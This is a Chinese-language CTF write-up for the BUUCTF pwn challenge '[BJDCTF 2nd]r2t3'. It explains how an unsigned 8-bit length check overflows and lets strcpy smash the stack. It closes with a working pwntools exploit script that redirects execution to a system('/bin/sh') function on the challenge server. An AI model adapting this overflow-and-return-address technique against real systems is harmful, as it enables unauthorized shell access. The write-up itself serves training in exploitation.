BUUCTF - [BJDCTF 2nd]r2t3
2020-07-13 本文已影响0人
余生似梦
地址:https://buuoj.cn/challenges#[BJDCTF%202nd]r2t3
考察知识点:
整形溢出
解题思路:
通过IDA反编译查看,主函数main 看到read函数可能存在溢出,读取的字节为0x400,buf缓冲区大小为408,多于读取字节数,故不存在缓冲区溢出。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+0h] [ebp-408h]
my_init();
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("[+]Ret2text3.0?");
puts("[+]Please input your name:");
read(0, &buf, 0x400u);
name_check(&buf);
puts("Welcome ,u win!");
return 0;
}
真正存在问题的是name_check函数,v3是int8类型的变量,11111111 = 0xFF == 255。当0xFF +1 时,变量发生整形溢出,0x100 = 256 此时v3的数值为零。
同时还要满足3< v3 <8 的条件,这时候可以确定溢出数值应该在 0x104~0x107 中选
再利用后面的strcpy()函数,因为将s复制给dest,看到dest的偏移为0x11+0x04,再搜索sh函数得到sh地址,构造payload得到shell。
char *__cdecl name_check(char *s)
{
char dest; // [esp+7h] [ebp-11h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Oops,u name is too long!");
exit(-1);
}
printf("Hello,My dear %s", s);
return strcpy(&dest, s);
}
shell函数 0x0804858B
.text:0804858B ; __unwind {
.text:0804858B push ebp
.text:0804858C mov ebp, esp
.text:0804858E sub esp, 8
.text:08048591 sub esp, 0Ch
.text:08048594 push offset command ; "/bin/sh"
.text:08048599 call _system
.text:0804859E add esp, 10h
.text:080485A1 nop
.text:080485A2 leave
.text:080485A3 retn
.text:080485A3 ; } // starts at 804858B
.text:080485A3 _dl_registery endp
exp:
from pwn import *
p = remote('node3.buuoj.cn', 27050)
#context.log_level = 'DEBUG'
sys_addr = 0x0804858B
p.recvuntil('Please input your name:\n')
p.sendline(('a'*0x11+ 'a'*0x4 +p32(sys_addr)).ljust(0x104,'a'))
p.interactive()